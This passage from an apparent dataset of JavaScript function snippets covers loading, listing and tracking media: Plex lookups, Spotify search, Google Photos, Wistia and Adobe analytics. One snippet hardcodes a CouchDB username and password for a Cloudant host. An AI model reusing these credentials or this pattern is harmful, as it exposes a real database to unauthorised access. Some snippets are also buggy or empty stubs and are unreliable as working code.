\"function getMediaByIds(ids) {\\n return $.post('/api/media/ids', { media: { ids } });\\n }\",\n \"function queryPictures(req) {\\n\\n let query = Picture.find();\\n\\n if (typeof (req.query.src) == 'string') {\\n query = query.where('src').equals(req.query.src);\\n }\\n\\n if (typeof (req.query.description) == 'string') {\\n query = query.where('description').equals(req.query.description);\\n }\\n\\n return query;\\n}\",\n \"async function getMedia() {\\n if (!username) return;\\n const resp = await fetch(`https://www.instagram.com/${username}/?__a=1`);\\n const { graphql } = await resp.json();\\n setImages(\\n graphql.user.edge_owner_to_timeline_media.edges.map(\\n ({ node }) => node.thumbnail_resources\\n )\\n );\\n }\",\n \"async function FindMediaItems(options = [], button) {\\n\\t\\tif(!(options.length && button))\\n\\t\\t\\treturn;\\n\\n\\t\\t/* Get rid of repeats */\\n\\t\\tlet uuids = [];\\n\\n\\t\\toptions = options.map((v, i, a) => {\\n\\t\\t\\tlet { type, title } = v,\\n\\t\\t\\t\\tuuid = UUID.from({ type, title });\\n\\n\\t\\t\\tif(!!~uuids.indexOf(uuid))\\n\\t\\t\\t\\treturn options.splice(i, 1), null;\\n\\t\\t\\tuuids.push(uuid);\\n\\n\\t\\t\\treturn v;\\n\\t\\t})\\n\\t\\t.filter(v => v);\\n\\n\\t\\tlet results = [],\\n\\t\\t\\tlength = options.length,\\n\\t\\t\\tqueries = (FindMediaItems.queries = FindMediaItems.queries || {});\\n\\n\\t\\tFindMediaItems.OPTIONS = options;\\n\\n\\t\\tlet query = JSON.stringify(options);\\n\\n\\t\\tquery = (queries[query] = queries[query] || {});\\n\\n\\t\\tif(query.running === true)\\n\\t\\t\\treturn;\\n\\t\\telse if(query.results) {\\n\\t\\t\\tlet { results, multiple, items } = query;\\n\\n\\t\\t\\tnew Notification('update', `Welcome back. ${ multiple } new ${ items } can be grabbed`, 7000, (event, target = button.querySelector('.list-action')) => target.click({ ...event, target }));\\n\\n\\t\\t\\tif(multiple)\\n\\t\\t\\t\\tUpdateButton(button, 'multiple', `Download ${ multiple } ${ items }`, results);\\n\\n\\t\\t\\treturn;\\n\\t\\t}\\n\\n\\t\\tquery.running = true;\\n\\n\\t\\tnew Notification('info', `Processing ${ length } item${ 's'[+(length === 1)] || '' }...`);\\n\\n\\t\\tfor(let index = 0, option, opt; index < length; index++) {\\n\\t\\t\\tlet { IMDbID, TMDbID, TVDbID } = (option = await options[index]);\\n\\n\\t\\t\\topt = { name: option.title, title: option.title, year: option.year, image: options.image, type: option.type, imdb: IMDbID, IMDbID, tmdb: TMDbID, TMDbID, tvdb: TVDbID, TVDbID };\\n\\n\\t\\t\\ttry {\\n\\t\\t\\t\\tawait Request_Plex(option)\\n\\t\\t\\t\\t\\t.then(async({ found, key }) => {\\n\\t\\t\\t\\t\\t\\tlet { imdb, tmdb, tvdb } = opt,\\n\\t\\t\\t\\t\\t\\t\\t{ type, title, year } = opt,\\n\\t\\t\\t\\t\\t\\t\\tuuid = UUID.from({ type, title });\\n\\n\\t\\t\\t\\t\\t\\tif(found) {\\n\\t\\t\\t\\t\\t\\t\\t// ignore found items, we only want new items\\n\\t\\t\\t\\t\\t\\t\\tupdateMinion({ imdb, tmdb, tvdb, uuid }, 'found', { ...opt, key })\\n\\t\\t\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\t\\t\\toption.field = 'original_title';\\n\\n\\t\\t\\t\\t\\t\\t\\treturn await Request_Plex(option)\\n\\t\\t\\t\\t\\t\\t\\t\\t.then(({ found, key }) => {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tif(found) {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t// ignore found items, we only want new items\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tupdateMinion({ imdb, tmdb, tvdb, uuid }, 'found', { ...opt, key })\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t} else if(CAUGHT.has({ imdb, tmdb, tvdb })) {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t// ignore items already being watched\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tupdateMinion({ imdb, tmdb, tvdb, uuid }, 'queued')\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tlet available = (__CONFIG__.usingOmbi || __CONFIG__.usingWatcher || __CONFIG__.usingRadarr || __CONFIG__.usingSonarr || __CONFIG__.usingMedusa || __CONFIG__.usingSickBeard || __CONFIG__.usingCouchPotato),\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\taction = (available? 'download': 'notfound'),\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\ttitle = available?\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t'Not on Plex (download available)':\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t'Not on Plex (download not available)';\\n\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tupdateMinion({ imdb, tmdb, tvdb, uuid }, (available? 'download': 'not-found'));\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tresults.push({ ...opt, found: false, status: action });\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\t\\t});\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t})\\n\\t\\t\\t\\t\\t.catch(error => { throw error });\\n\\t\\t\\t} catch(error) {\\n\\t\\t\\t\\tUTILS_TERMINAL.error('Request to Plex failed: ' + String(error));\\n\\t\\t\\t\\t// new Notification('error', 'Failed to query item #' + (index + 1));\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tresults = results.filter(v => v.status == 'download');\\n\\n\\t\\tlet img = furnish('img#plexit-add', { title: 'Add to Plex It!', onmouseup: event => {let frame = document.querySelector('#plexit-bookmarklet-frame'); frame.src = frame.src.replace(/(#plexit:.*)?$/, '#plexit:' + event.target.parentElement.getAttribute('data'))} }),\\n\\t\\t\\tpo, pi = furnish('li#plexit.list-item', { data: encode(JSON.stringify(results)) }, img),\\n\\t\\t\\top = document.querySelector('#wtp-plexit');\\n\\n\\t\\tif(po = button.querySelector('#plexit'))\\n\\t\\t\\tpo.remove();\\n\\t\\ttry {\\n\\t\\t\\tbutton.querySelector('ul').insertBefore(pi, op);\\n\\t\\t} catch(e) { /* Don't do anything */ }\\n\\n\\t\\tlet multiple = results.length,\\n\\t\\t\\titems = multiple == 1? 'item': 'items';\\n\\n\\t\\tnew Notification('update', `Done. ${ multiple } new ${ items } can be grabbed`, 7000, (event, target = button.querySelector('.list-action')) => target.click({ ...event, target }));\\n\\n\\t\\tquery.running = false;\\n\\t\\tquery.results = results;\\n\\t\\tquery.multiple = multiple;\\n\\t\\tquery.items = items;\\n\\n\\t\\tif(multiple)\\n\\t\\t\\tUpdateButton(button, 'multiple', `Download ${ multiple } ${ items }`, results);\\n\\t}\",\n \"function uploadMusic() {\\n //returns array of music available for ringtone after reading from file, is used for \\\"tones\\\" array\\n}\",\n \"function mediaQueryListDispatcher() {\\n\\t\\tthis.mqls = [];\\n\\t}\",\n \"function myMedia(req, res) {\\n return _media2.default.find({ 'uid': req.user.email },null, {sort: {created_at: -1}}).exec().then(respondWithResult(res)).catch(handleError(res));\\n}\",\n \"async function _loadMedia() {\\n\\n var data = await fetch('/content/media.json');\\n var json = await data.json();\\n\\n json.forEach((file) => {\\n media.push(file);\\n });\\n\\n _buildTable();\\n tableUIUpdate();\\n\\n }\",\n \"processUploadImages(uploadData){\\n mediaItems = []\\n for (i = 0; i < uploadData.length; i ++){\\n mediaItems.push({\\n \\\"description\\\": uploadData[i].description,\\n \\\"simpleMediaItem\\\": {\\n \\\"uploadToken\\\": uploadData[i].uploadToken\\n }\\n })\\n }\\n return mediaItems\\n }\",\n \"function deduplicteMediaItems() {\\n\\n}\",\n \"function getMedia(user) {\\n userId = user || \\\"\\\";\\n if (userId) {\\n userId = \\\"/?userId=\\\" + userId;\\n }\\n $.get(\\\"/api/posts\\\" + authorId, function(data) {\\n console.log(\\\"Posts\\\", data);\\n saved = data;\\n if (!posts || !posts.length) {\\n displayEmpty(user);\\n }\\n else {\\n initializeRows();\\n }\\n });\\n }\",\n \"function searchMusic(name){\\n if(!name){\\n name = \\\"The sigin\\\";\\n }\\n spotify.search({ type: 'track', query: name }, function(err, data) {\\n if (err) {\\n return console.log('Error occurred: ' + err);\\n }\\n for (var i = 0; i < 5; i++) {\\n console.log(\\\"Artist Name: \\\"+data.tracks.items[i].artist[0].name); \\n console.log(\\\"Song name: \\\"+data.tracks.items[i].name);\\n console.log(\\\"Link: \\\"+data.tracks.items[i].album.name);\\n console.log(\\\"Album\\\"+data.tracks.items[i].preview_url);\\n console.log(\\\"-------------------------------------\\\");\\n }\\n });\\n}\",\n \"function loadMedia(location, queries, manage, final) {\\n\\n // Recursive function\\n function nextMedia(i) {\\n\\n // From queries object to array, in order to use $.when()\\n var indices = []; // Keeps track of which number corresponds with which key\\n var queriesArr = []; // Array of the queries\\n var j = 0; // Index\\n for(var q in queries) {\\n indices.push(q);\\n // Make a shallow copy of queries[q], so it's unaffected for next iteration\\n queriesArr.push($.extend({}, queries[q]));\\n // Important! Add the absolute path of the file to the query as a prefix!\\n queriesArr[j].url = location + i.toString() + '/' + queriesArr[j].url;\\n // Replace query data by actual jqXHR object\\n queriesArr[j] = $.ajax(queriesArr[j]);\\n j++;\\n }\\n\\n // When all the queries are completed...\\n $.when(...queriesArr).done(function(...resultsArr) {\\n\\n // Back from array to object\\n var results = {};\\n for(var j = 0; j < resultsArr.length; j++) {\\n results[indices[j]] = resultsArr[j];\\n }\\n\\n // Call to manager function with processed data\\n manage(location, results, i);\\n\\n nextMedia(i + 1); // Keep going\\n\\n }).fail(final); // Call after everything is done\\n\\n } // nextMedia(i)\\n\\n nextMedia(0); // Initial call\\n\\n}\",\n \"function execute() {\\n return gapi.client.photoslibrary.mediaItems.list({}).then(\\n function(response) {\\n // Handle the results here (response.result has the parsed body).\\n console.log(\\\"Response\\\", response);\\n },\\n function(err) {\\n console.error(\\\"Execute error\\\", err);\\n }\\n );\\n}\",\n \"function mediaLocStorage() {\\n // assign media object to a variable\\n var mediaObj = memory.media,\\n // create an empty object\\n mediaLinks = {};\\n // loop through media object\\n for (var i = 0; i < mediaObj.length; i++) {\\n\\n if (mediaLinks[mediaObj[i].post] == mediaObj.post) {\\n // assign object keys and values\\n // \\\"the key will be the post id, and the value will be the image link\\\"\\n mediaLinks[mediaObj[i].post] = mediaObj[i].source_url;\\n }\\n }\\n // save the object in local storage\\n storage.write('postImg', mediaLinks);\\n }\",\n \"images() {\\n // console.log('thumbnails helper');\\n return Images.find({\\n thumbnail: { $exists: 1 },\\n // subscriptionId: ThumbnailsHandle.subscriptionId,\\n }, {\\n limit: ImagesPerPage,\\n sort: { created: -1 }\\n });\\n }\",\n \"function list( url, requestArguments ) {\\n\\t\\t\\tvar getter = {},\\n\\t\\t\\t\\taction = {\\n\\t\\t\\t\\t\\tmethod: 'GET',\\n\\t\\t\\t\\t\\ttransformResponse: function( data ) {\\n\\t\\t\\t\\t\\t\\treturn convertJsonToObj( data );\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t};\\n\\n\\t\\t\\t// Setup API $resource\\n\\t\\t\\tgetter.api = apiService.request( url, { 'get': action } );\\n\\n\\t\\t\\t// Add Wistia authentication to the request arguments\\n\\t\\t\\tangular.merge( requestArguments, apiKey );\\n\\n\\t\\t\\t// Make request to list media\\n\\t\\t\\tgetter.request = getter.api.get( requestArguments ).$promise.then(\\n\\n\\t\\t\\t\\t// SUCCESS\\n\\t\\t\\t\\tfunction( response ) {\\n\\t\\t\\t\\t\\tvar eventArgs = {\\n\\t\\t\\t\\t\\t\\tuploads: {}\\n\\t\\t\\t\\t\\t};\\n\\n\\t\\t\\t\\t\\t// Received list successfully (account for $promise and $resolved objects)\\n\\t\\t\\t\\t\\tif ( response && Object.keys( response ).length > 2 ) {\\n\\t\\t\\t\\t\\t\\tconsole.log( 'Successfully received the list of media' );\\n\\n\\t\\t\\t\\t\\t\\teventArgs.uploads = response;\\n\\t\\t\\t\\t\\t\\tdelete eventArgs.uploads.$promise;\\n\\t\\t\\t\\t\\t\\tdelete eventArgs.uploads.$resolved;\\n\\n\\t\\t\\t\\t\\t\\t$rootScope.$emit( 'videoListReturned', eventArgs );\\n\\n\\t\\t\\t\\t\\t// Could not receive list\\n\\t\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\t\\tconsole.warn( 'Could not receive list.', response );\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t},\\n\\n\\t\\t\\t\\t// FAILURE\\n\\t\\t\\t\\tfunction( error ) {\\n\\t\\t\\t\\t\\tconsole.error( error.data );\\n\\t\\t\\t\\t}\\n\\t\\t\\t);\\n\\t\\t}\",\n \"function getNodeMediaItems(title, commonLocation, eventId, eventHtml) {\\n var url = 'http://localhost:8001/search/combined/';\\n url += encodeURIComponent(title + ' ' + commonLocation);\\n var xhr = new XMLHttpRequest();\\n xhr.onreadystatechange = function() {\\n if (xhr.readyState == 4) {\\n requestReceived();\\n if (xhr.status == 200) {\\n var data = JSON.parse(xhr.responseText);\\n retrieveNodeMediaItemsResults(data, eventId, eventHtml);\\n } else {\\n console.log('Error: Getting media items for the query failed.');\\n }\\n }\\n }\\n xhr.open('GET', url, true);\\n xhr.send();\\n requestSent();\\n}\",\n \"function mediaList(req,res,template,block,next) { \\n \\n // Render the item via the template provided above\\n calipso.theme.renderItem(req,res,template,block,{}); \\n next();\\n \\n}\",\n \"function populateStorages(storageModels) {\\n var queues = [],\\n response = $q.defer(),\\n results = _.where(storageModels, {type: 'areaimage'});\\n\\n // $scope.AreaImages = _.where(storageModels, {type: 'areaimage'});\\n\\n _.each(results, function(image){\\n //populateImage(image);\\n queues.push(Storage.GetFileImageString(image.id));\\n });\\n\\n $q.all(queues)\\n .then(function(images){\\n _.each(results, function(image, i){\\n image.data = images[i];\\n });\\n return response.resolve(results);\\n\\n },\\n function(error){\\n return response.reject(error);\\n });\\n return response.promise;\\n /*\\n $scope.Signature = _.where(storageModels, {type: 'signature'})[0];\\n\\n if ($scope.Signature && $scope.Signature.id.length === 36) {\\n populateImage($scope.Signature);\\n }*/\\n\\n }\",\n \"function getMediasFiles(path, cb) {\\n var medias = {};\\n glob(path, function (err, files) {\\n files.forEach(function (filename) {\\n var infos = pathinfo(filename);\\n medias[infos.basename.toUpperCase()] = {\\n filename: filename,\\n products: []\\n };\\n });\\n cb(medias);\\n })\\n }\",\n \"function queryMediaInfo(paramData) {\\n let url = jjkgalleryRoot + \\\"getMediaInfo.php\\\"\\n fetch(url, {\\n method: 'POST',\\n headers: {'Content-Type': 'application/json'},\\n body: JSON.stringify(paramData)\\n })\\n .then(response => response.json())\\n .then(responseMediaInfo => {\\n // Save media information in a variable in a module (that can be imported into other modules)\\n loadMediaInfo(responseMediaInfo)\\n\\n getMenu = paramData.getMenu\\n if (getMenu) {\\n // Save the menu lists\\n setMenuList(mediaInfo.menuList)\\n categoryList = mediaInfo.categoryList\\n menuFilter = mediaInfo.menuFilter\\n setAlbumList(mediaInfo.albumList)\\n peopleList = mediaInfo.peopleList\\n }\\n\\n // Save the parameters from the laste query\\n queryCategory = paramData.MediaFilterCategory\\n querySearchStr = \\\"\\\"\\n if (paramData.MediaFilterSearchStr != null && paramData.MediaFilterSearchStr != \\\"\\\") {\\n querySearchStr = paramData.MediaFilterSearchStr\\n }\\n queryMenuItem = \\\"\\\"\\n if (paramData.MediaFilterMenuItem != null & paramData.MediaFilterMenuItem != \\\"\\\") {\\n queryMenuItem = paramData.MediaFilterMenuItem\\n }\\n\\n createMediaPage()\\n });\\n }\",\n \"function paintMedias(){\\n $.couch.urlPrefix = \\\"https://socpa.cloudant.com\\\";\\n $.couch.login({\\n name: \\\"socpa\\\",\\n password: \\\"asdargonnijao\\\",\\n success: function(data) {\\n console.log(data);\\n\\n },\\n error: function(status) {\\n console.log(status);\\n }\\n });\\n\\n $.couch.db(\\\"media\\\").view(\\\"media/media\\\", {\\n startkey: [canvas_id],\\n endkey: [canvas_id,{}],\\n reduce: false,\\n success: function(data) {\\n setMedia(data.rows,0)\\n },\\n error: function(status) {\\n console.log(status);\\n }\\n\\n });\\n}\",\n \"function AppMeasurement_Module_Media(q) {\\n var b = this;\\n b.s = q;\\n q = window;\\n q.s_c_in || (q.s_c_il = [], q.s_c_in = 0);\\n b._il = q.s_c_il;\\n b._in = q.s_c_in;\\n b._il[b._in] = b;\\n q.s_c_in++;\\n b._c = \\\"s_m\\\";\\n b.list = [];\\n b.open = function (d, c, e, k) {\\n var f = {},\\n a = new Date,\\n l = \\\"\\\",\\n g;\\n c || (c = -1);\\n if (d && e) {\\n b.list || (b.list = {});\\n b.list[d] && b.close(d);\\n k && k.id && (l = k.id);\\n if (l)\\n for (g in b.list) !Object.prototype[g] && b.list[g] && b.list[g].R == l && b.close(b.list[g].name);\\n f.name = d;\\n f.length = c;\\n f.offset = 0;\\n f.e = 0;\\n f.playerName = b.playerName ? b.playerName : e;\\n f.R = l;\\n f.C = 0;\\n f.a = 0;\\n f.timestamp =\\n Math.floor(a.getTime() / 1E3);\\n f.k = 0;\\n f.u = f.timestamp;\\n f.c = -1;\\n f.n = \\\"\\\";\\n f.g = -1;\\n f.D = 0;\\n f.I = {};\\n f.G = 0;\\n f.m = 0;\\n f.f = \\\"\\\";\\n f.B = 0;\\n f.L = 0;\\n f.A = 0;\\n f.F = 0;\\n f.l = !1;\\n f.v = \\\"\\\";\\n f.J = \\\"\\\";\\n f.K = 0;\\n f.r = !1;\\n f.H = \\\"\\\";\\n f.complete = 0;\\n f.Q = 0;\\n f.p = 0;\\n f.q = 0;\\n b.list[d] = f;\\n }\\n };\\n b.openAd = function (d, c, e, k, f, a, l, g) {\\n var h = {};\\n b.open(d, c, e, g);\\n if (h = b.list[d]) h.l = !0, h.v = k, h.J = f, h.K = a, h.H = l;\\n };\\n b.M = function (d) {\\n var c = b.list[d];\\n b.list[d] = 0;\\n c && c.monitor && clearTimeout(c.monitor.interval);\\n };\\n b.close = function (d) {\\n b.i(d, 0, -1);\\n };\\n b.play = function (d, c, e, k) {\\n var f = b.i(d, 1, c, e, k);\\n f && !f.monitor &&\\n (f.monitor = {}, f.monitor.update = function () {\\n 1 == f.k && b.i(f.name, 3, -1);\\n f.monitor.interval = setTimeout(f.monitor.update, 1E3);\\n }, f.monitor.update());\\n };\\n b.click = function (d, c) {\\n b.i(d, 7, c);\\n };\\n b.complete = function (d, c) {\\n b.i(d, 5, c);\\n };\\n b.stop = function (d, c) {\\n b.i(d, 2, c);\\n };\\n b.track = function (d) {\\n b.i(d, 4, -1);\\n };\\n b.P = function (d, c) {\\n var e = \\\"a.media.\\\",\\n k = d.linkTrackVars,\\n f = d.linkTrackEvents,\\n a = \\\"m_i\\\",\\n l, g = d.contextData,\\n h;\\n c.l && (e += \\\"ad.\\\", c.v && (g[\\\"a.media.name\\\"] = c.v, g[e + \\\"pod\\\"] = c.J, g[e + \\\"podPosition\\\"] = c.K), c.G || (g[e + \\\"CPM\\\"] = c.H));\\n c.r && (g[e + \\\"clicked\\\"] = !0, c.r = !1);\\n g[\\\"a.contentType\\\"] = \\\"video\\\" + (c.l ? \\\"Ad\\\" : \\\"\\\");\\n g[\\\"a.media.channel\\\"] = b.channel;\\n g[e + \\\"name\\\"] = c.name;\\n g[e + \\\"playerName\\\"] = c.playerName;\\n 0 < c.length && (g[e + \\\"length\\\"] = c.length);\\n g[e + \\\"timePlayed\\\"] = Math.floor(c.a);\\n 0 < Math.floor(c.a) && (g[e + \\\"timePlayed\\\"] = Math.floor(c.a));\\n c.G || (g[e + \\\"view\\\"] = !0, a = \\\"m_s\\\", b.Heartbeat && b.Heartbeat.enabled && (a = c.l ? b.__primetime ? \\\"mspa_s\\\" : \\\"msa_s\\\" : b.__primetime ? \\\"msp_s\\\" : \\\"ms_s\\\"), c.G = 1);\\n c.f && (g[e + \\\"segmentNum\\\"] = c.m, g[e + \\\"segment\\\"] = c.f, 0 < c.B && (g[e + \\\"segmentLength\\\"] = c.B), c.A && 0 < c.a && (g[e + \\\"segmentView\\\"] = !0));\\n !c.Q && c.complete && (g[e + \\\"complete\\\"] = !0, c.S = 1);\\n 0 < c.p && (g[e + \\\"milestone\\\"] = c.p);\\n 0 < c.q && (g[e + \\\"offsetMilestone\\\"] = c.q);\\n if (k)\\n for (h in g) Object.prototype[h] || (k += \\\",contextData.\\\" + h);\\n l = g[\\\"a.contentType\\\"];\\n d.pe = a;\\n d.pev3 = l;\\n var q, s;\\n if (b.contextDataMapping)\\n for (h in d.events2 || (d.events2 = \\\"\\\"), k && (k += \\\",events\\\"), b.contextDataMapping)\\n if (!Object.prototype[h]) {\\n a = h.length > e.length && h.substring(0, e.length) == e ? h.substring(e.length) : \\\"\\\";\\n l = b.contextDataMapping[h];\\n if (\\\"string\\\" == typeof l)\\n for (q = l.split(\\\",\\\"), s = 0; s < q.length; s++) l =\\n q[s], \\\"a.contentType\\\" == h ? (k && (k += \\\",\\\" + l), d[l] = g[h]) : \\\"view\\\" == a || \\\"segmentView\\\" == a || \\\"clicked\\\" == a || \\\"complete\\\" == a || \\\"timePlayed\\\" == a || \\\"CPM\\\" == a ? (f && (f += \\\",\\\" + l), \\\"timePlayed\\\" == a || \\\"CPM\\\" == a ? g[h] && (d.events2 += (d.events2 ? \\\",\\\" : \\\"\\\") + l + \\\"=\\\" + g[h]) : g[h] && (d.events2 += (d.events2 ? \\\",\\\" : \\\"\\\") + l)) : \\\"segment\\\" == a && g[h + \\\"Num\\\"] ? (k && (k += \\\",\\\" + l), d[l] = g[h + \\\"Num\\\"] + \\\":\\\" + g[h]) : (k && (k += \\\",\\\" + l), d[l] = g[h]);\\n else if (\\\"milestones\\\" == a || \\\"offsetMilestones\\\" == a) h = h.substring(0, h.length - 1), g[h] && b.contextDataMapping[h + \\\"s\\\"][g[h]] && (f && (f += \\\",\\\" + b.contextDataMapping[h +\\n \\\"s\\\"][g[h]]), d.events2 += (d.events2 ? \\\",\\\" : \\\"\\\") + b.contextDataMapping[h + \\\"s\\\"][g[h]]);\\n g[h] && (g[h] = 0);\\n \\\"segment\\\" == a && g[h + \\\"Num\\\"] && (g[h + \\\"Num\\\"] = 0);\\n }\\n d.linkTrackVars = k;\\n d.linkTrackEvents = f;\\n };\\n b.i = function (d, c, e, k, f) {\\n var a = {},\\n l = (new Date).getTime() / 1E3,\\n g, h, q = b.trackVars,\\n s = b.trackEvents,\\n t = b.trackSeconds,\\n u = b.trackMilestones,\\n v = b.trackOffsetMilestones,\\n w = b.segmentByMilestones,\\n x = b.segmentByOffsetMilestones,\\n p, n, r = 1,\\n m = {},\\n y;\\n b.channel || (b.channel = b.s.w.location.hostname);\\n if (a = d && b.list && b.list[d] ? b.list[d] : 0)\\n if (a.l && (t = b.adTrackSeconds,\\n u = b.adTrackMilestones, v = b.adTrackOffsetMilestones, w = b.adSegmentByMilestones, x = b.adSegmentByOffsetMilestones), 0 > e && (e = 1 == a.k && 0 < a.u ? l - a.u + a.c : a.c), 0 < a.length && (e = e < a.length ? e : a.length), 0 > e && (e = 0), a.offset = e, 0 < a.length && (a.e = a.offset / a.length * 100, a.e = 100 < a.e ? 100 : a.e), 0 > a.c && (a.c = e), y = a.D, m.name = d, m.ad = a.l, m.length = a.length, m.openTime = new Date, m.openTime.setTime(1E3 * a.timestamp), m.offset = a.offset, m.percent = a.e, m.playerName = a.playerName, m.mediaEvent = 0 > a.g ? \\\"OPEN\\\" : 1 == c ? \\\"PLAY\\\" : 2 == c ? \\\"STOP\\\" : 3 == c ? \\\"MONITOR\\\" :\\n 4 == c ? \\\"TRACK\\\" : 5 == c ? \\\"COMPLETE\\\" : 7 == c ? \\\"CLICK\\\" : \\\"CLOSE\\\", 2 < c || c != a.k && (2 != c || 1 == a.k)) {\\n f || (k = a.m, f = a.f);\\n if (c) {\\n 1 == c && (a.c = e);\\n if ((3 >= c || 5 <= c) && 0 <= a.g && (r = !1, q = s = \\\"None\\\", a.g != e)) {\\n h = a.g;\\n h > e && (h = a.c, h > e && (h = e));\\n p = u ? u.split(\\\",\\\") : 0;\\n if (0 < a.length && p && e >= h)\\n for (n = 0; n < p.length; n++) (g = p[n] ? parseFloat(\\\"\\\" + p[n]) : 0) && h / a.length * 100 < g && a.e >= g && (r = !0, n = p.length, m.mediaEvent = \\\"MILESTONE\\\", a.p = m.milestone = g);\\n if ((p = v ? v.split(\\\",\\\") : 0) && e >= h)\\n for (n = 0; n < p.length; n++) (g = p[n] ? parseFloat(\\\"\\\" + p[n]) : 0) && h < g && e >= g && (r = !0, n = p.length, m.mediaEvent =\\n \\\"OFFSET_MILESTONE\\\", a.q = m.offsetMilestone = g);\\n }\\n if (a.L || !f) {\\n if (w && u && 0 < a.length) {\\n if (p = u.split(\\\",\\\"))\\n for (p.push(\\\"100\\\"), n = h = 0; n < p.length; n++)\\n if (g = p[n] ? parseFloat(\\\"\\\" + p[n]) : 0) a.e < g && (k = n + 1, f = \\\"M:\\\" + h + \\\"-\\\" + g, n = p.length), h = g;\\n } else if (x && v && (p = v.split(\\\",\\\")))\\n for (p.push(\\\"\\\" + (0 < a.length ? a.length : \\\"E\\\")), n = h = 0; n < p.length; n++)\\n if ((g = p[n] ? parseFloat(\\\"\\\" + p[n]) : 0) || \\\"E\\\" == p[n]) {\\n if (e < g || \\\"E\\\" == p[n]) k = n + 1, f = \\\"O:\\\" + h + \\\"-\\\" + g, n = p.length;\\n h = g;\\n }\\n f && (a.L = !0);\\n } (f || a.f) && f != a.f && (a.F = !0, a.f || (a.m = k, a.f = f), 0 <= a.g && (r = !0));\\n (2 <= c || 100 <= a.e) && a.c < e &&\\n (a.C += e - a.c, a.a += e - a.c);\\n if (2 >= c || 3 == c && !a.k) a.n += (1 == c || 3 == c ? \\\"S\\\" : \\\"E\\\") + Math.floor(e), a.k = 3 == c ? 1 : c;\\n !r && 0 <= a.g && 3 >= c && (t = t ? t : 0) && a.a >= t && (r = !0, m.mediaEvent = \\\"SECONDS\\\");\\n a.u = l;\\n a.c = e;\\n }\\n if (!c || 3 >= c && 100 <= a.e) 2 != a.k && (a.n += \\\"E\\\" + Math.floor(e)), c = 0, q = s = \\\"None\\\", m.mediaEvent = \\\"CLOSE\\\";\\n 7 == c && (r = m.clicked = a.r = !0);\\n if (5 == c || b.completeByCloseOffset && (!c || 100 <= a.e) && 0 < a.length && e >= a.length - b.completeCloseOffsetThreshold) r = m.complete = a.complete = !0;\\n l = m.mediaEvent;\\n \\\"MILESTONE\\\" == l ? l += \\\"_\\\" + m.milestone : \\\"OFFSET_MILESTONE\\\" == l && (l +=\\n \\\"_\\\" + m.offsetMilestone);\\n a.I[l] ? m.eventFirstTime = !1 : (m.eventFirstTime = !0, a.I[l] = 1);\\n m.event = m.mediaEvent;\\n m.timePlayed = a.C;\\n m.segmentNum = a.m;\\n m.segment = a.f;\\n m.segmentLength = a.B;\\n b.monitor && 4 != c && b.monitor(b.s, m);\\n b.Heartbeat && b.Heartbeat.enabled && 0 <= a.g && (r = !1);\\n 0 == c && b.M(d);\\n r && a.D == y && (d = {\\n contextData: {}\\n }, d.linkTrackVars = q, d.linkTrackEvents = s, d.linkTrackVars || (d.linkTrackVars = \\\"\\\"), d.linkTrackEvents || (d.linkTrackEvents = \\\"\\\"), b.P(d, a), d.linkTrackVars || (d[\\\"!linkTrackVars\\\"] = 1), d.linkTrackEvents || (d[\\\"!linkTrackEvents\\\"] =\\n 1), b.s.track(d), a.F ? (a.m = k, a.f = f, a.A = !0, a.F = !1) : 0 < a.a && (a.A = !1), a.n = \\\"\\\", a.p = a.q = 0, a.a -= Math.floor(a.a), a.g = e, a.D++);\\n }\\n return a;\\n };\\n b.O = function (d, c, e, k, f) {\\n var a = 0;\\n if (d && (!b.autoTrackMediaLengthRequired || c && 0 < c)) {\\n if (b.list && b.list[d]) a = 1;\\n else if (1 == e || 3 == e) b.open(d, c, \\\"HTML5 Video\\\", f), a = 1;\\n a && b.i(d, e, k, -1, 0);\\n }\\n };\\n b.attach = function (d) {\\n var c, e, k;\\n d && d.tagName && \\\"VIDEO\\\" == d.tagName.toUpperCase() && (b.o || (b.o = function (c, a, d) {\\n var e, h;\\n b.autoTrack && (e = c.currentSrc, (h = c.duration) || (h = -1), 0 > d && (d = c.currentTime), b.O(e, h, a,\\n d, c));\\n }), c = function () {\\n b.o(d, 1, -1);\\n }, e = function () {\\n b.o(d, 1, -1);\\n }, b.j(d, \\\"play\\\", c), b.j(d, \\\"pause\\\", e), b.j(d, \\\"seeking\\\", e), b.j(d, \\\"seeked\\\", c), b.j(d, \\\"ended\\\", function () {\\n b.o(d, 0, -1);\\n }), b.j(d, \\\"timeupdate\\\", c), k = function () {\\n d.paused || d.ended || d.seeking || b.o(d, 3, -1);\\n setTimeout(k, 1E3);\\n }, k());\\n };\\n b.j = function (b, c, e) {\\n b.attachEvent ? b.attachEvent(\\\"on\\\" + c, e) : b.addEventListener && b.addEventListener(c, e, !1);\\n };\\n void 0 == b.completeByCloseOffset && (b.completeByCloseOffset = 1);\\n void 0 == b.completeCloseOffsetThreshold && (b.completeCloseOffsetThreshold =\\n 1);\\n b.Heartbeat = {};\\n b.N = function () {\\n var d, c;\\n if (b.autoTrack && (d = b.s.d.getElementsByTagName(\\\"VIDEO\\\")))\\n for (c = 0; c < d.length; c++) b.attach(d[c]);\\n };\\n b.j(q, \\\"load\\\", b.N);\\n }\",\n \"function handleMediaManagerSelect(fileData){\\n quill.insertEmbed(insertPointIndex, 'image', fileData.url);\\n}\",\n \"async findSoundtrack(ctx, payload) {\\n let music = [];\\n if(payload.title 